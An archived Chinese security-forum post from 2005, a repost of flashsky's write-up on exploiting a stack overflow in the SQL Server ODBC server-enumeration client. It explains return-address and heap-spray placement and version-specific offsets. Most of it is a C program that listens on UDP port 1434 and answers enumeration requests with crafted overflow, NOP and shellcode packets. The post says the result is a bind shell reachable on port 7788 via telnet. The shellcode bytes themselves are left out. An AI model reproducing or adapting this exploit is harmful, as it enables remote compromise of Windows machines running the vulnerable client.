邪恶八进制信息安全团队技术讨论组's Archiver

sunwear 2005-9-10 03:12

[转载]SQL SERVER ODBC堆栈溢出攻击的实现

信息来源:安全焦点


作者:flashsky
关于ODBC溢出终于找到了解决之道。
由于原来一心只想把UNICODE代码拷贝过来,由于诸多原因,会导致大量覆盖地址,结果造成一些系统数据的被覆盖,而无法达到执行代码目的,后来我想,是否可以只仅仅覆盖到返回地址,由返回地址执向我们其他的可以控制的地址呢。
仔细考察一下情况,我们数据存在的地址主要有:
1。RECVFROM接收的数据
2。分配的堆
3。拷贝的堆栈
由于堆栈只覆盖到返回地址,我们就要再1和2上面动脑筋了,但1在拷贝到堆之后会清除掉,所以我们能利用的就只能是2了。
考察一下,发现其堆的分配,第一次一般在0x11cb00左右,那么考虑多种情况和unicode可转换的情况,我们可以设置成0x1240fe这个地址作为返回地址,只要保证堆在如下情况
[正常的我们或别人的应答包][我们覆盖地址的包][空操作包][SHELLCODE]
                               0x1240fe在空操作包之间
于是在堆栈溢出后,地址就指向了堆的这个位置。
就可以达到目的,选择0x1240fe主要是考虑可能其他有很多或SQL SERVER不存在情况,可以调整。
但是在覆盖地址以后,由于程序连续处理后面的包,会把我们的地址又覆盖掉,因为后面空操作和shellcode结合在一起肯定是要大于溢出点的,所以覆盖地址的包后面还要加0,这样就让程序处理到[我们覆盖地址的包]就能返回回来了。
于是实验,成功。但是发现其他机器不行,一检查发现我的是打了SP3的,而其他的没打,反汇编一下其程序,大致一样,只是其溢出点不同,现在的是6000,而以前的是1036是覆盖地址,修改了一下溢出点地址,OK,全部成功。下面这个就是对老新版本都兼容的一个溢出攻击演示程序,一直等待有人发出ODBC列举请求就进行溢出攻击,在我们公司网络上所有的WINDOWS的机器基本都能溢出成功,但由于该shellcode只在ODBC进程内,关闭了这个进程产生的后门就被关闭了,溢出后不关闭这个进程然后telnet host 7788就可以登陆上去,当然也可以写成进程之外处理的,另外UNICODE编码和UNICODE SHELLCODE略去,需要的话象ISNO请教。另外堆的地址第二次操作时会变化,第一次基本都是固定的,但一般用SQL SERVER ODBC列举服务器的客户端基本都属第一次,所以问题不是很大。在就是可能存在更多的sql server odbc的不同版本,其溢出的点可能是不一样的,需要分析以后在地址溢出包对应的位置增加这些点,另外注意这个点的增加会导致其他点的位置变化,因为要被UNICODE编码

再可以先在网络测试一下本地SQL SERVER的个数,调整一下溢出返回地址(要用unicode编码)和发送空包的个数,使得能达到地方,不过基本都能搞定。

#define  DATABASE    0x61
#include <winsock2.h>
#include <windows.h>

void main()
{
   unsigned char buffer[7000];
   unsigned char bufhead[3]={5,0xfc,0xf};
   unsigned char buf1 []="ServerName;11111111;InstanceName;MSSQLSERVER;IsClustered;No;Version;8.00.194;tcp;1433;np;\\\\11111111\\pipe\\sql\\query;;";
   unsigned char buf2 [4092];
   unsigned char buf3 [1024];
   unsigned char sendbuf [0x2000];
   unsigned  char temp;
   unsigned  char widecode[9000];
   WSADATA WSAData;
   SOCKET sock;
   SOCKADDR_IN addr_in;
   HANDLE listener;
   int e;
   int i;
   int sendlen;
   DWORD a1;
   const int SNDBUF = 0;
   const int TCPNODELAY = TRUE;
   const int BROADCAST = TRUE;
   struct sockaddr_in udpfrom;
   int udpfromlen = sizeof(udpfrom);
   int n ;
   unsigned char shellend[4] = {0x4e,0x4e,0,0};

   unsigned char myshellcode[]=;unicode shellcode
   unsigned char shellcodehead[70]=;unicode解码头
   shellcodehead[66]=0;
   shellcodehead[67]=0;
   if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
   {
      printf("WSAStartup error.Error:%d\n",WSAGetLastError());
      return FALSE;
   }

   if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
   {
      printf("Socket failed.Error:%d\n",WSAGetLastError());
      return FALSE;
   }
   
   sendlen = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellcodehead,-1,sendbuf,0x1000,NULL,NULL);
   sendlen--;
   memcpy(sendbuf+sendlen,myshellcode,sizeof(myshellcode)-1);
   sendlen=sendlen+sizeof(myshellcode)-1;
   i = WideCharToMultiByte(0x3a8,WC_COMPOSITECHECK,shellend,-1,sendbuf+sendlen,0x10,NULL,NULL);
   sendlen = sendlen +i-1;   
   memset(buf2,0x4,4092);
   memset(buf3,0x4,1024);
   
   buf2[3001]=0x81; //本来应该是3000,但是由于照顾老版本加入的,使得多一位
   buf2[3002]=0xaa;
   buf2[3003]=0x12;//新版本的溢出点经过UNICODE编码就成*0x1240fe,
   buf2[3004]=0;  //必须要加入,使得程序判断为0导致不在处理后面的shellcode就直接返回而不破坏我们为此做的溢出覆盖
   buf2[512]=0x2;  //防止老版本取用这个地址导致异常
   buf2[513]=0x3;
   buf2[518]=0x81;
   buf2[519]=0xaa;
   buf2[520]=0x12;//为照顾老版本的溢出点;经过UNICODE编码就成*/

   //构造一个地址溢出包  //NOP+溢出地址

   addr_in.sin_family=AF_INET;
   addr_in.sin_port=htons(1434);   
   addr_in.sin_addr.S_un.S_addr=inet_addr("192.168.0.60");
   n = bind(sock,(SOCKADDR*)&addr_in,sizeof(addr_in));
   if(n!=0)
   {
      e= WSAGetLastError();
      return -1;
   }
   for(;;)
   {
      n = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&udpfrom, &udpfromlen);   
      *((WORD *)(bufhead+1))=sizeof(buf1)-1;
      memcpy(buffer,bufhead,3);
      memcpy(buffer+3,buf1,sizeof(buf1)-1);//进行时间延长,避免包被其他的打断   
      for(i=0;i<10;i++)
      {
        n = sendto(sock, buffer,sizeof(buf1)+2, 0,(struct sockaddr *)&udpfrom, &udpfromlen);
        Sleep(20);
      }
      
      Sleep(50);

      *((WORD *)(bufhead+1))=3005;
      memcpy(buffer,bufhead,3);
      memcpy(buffer+3,buf2,3005);//发送地址覆盖包
      n = sendto(sock, buffer,3008, 0,(struct sockaddr *)&udpfrom, &udpfromlen);      

      //写入空操作串
      *((WORD *)(bufhead+1))=1024;
      memcpy(buffer,bufhead,3);
      memcpy(buffer+3,buf3,1024);
      for(i=0;i<10;i++)
        n = sendto(sock, buffer,1027, 0,(struct sockaddr *)&udpfrom, &udpfromlen);      

      //写入SHELLCODE
      *((WORD *)(bufhead+1))=4092;
      memcpy(buffer,bufhead,3);
      memcpy(buffer+3,sendbuf,4092);
      n = sendto(sock, buffer,4095, 0,(struct sockaddr *)&udpfrom, &udpfromlen);      
   }
   WSACleanup();
   return 0;
}

页: [1]
© 1999-2008 EvilOctal Security Team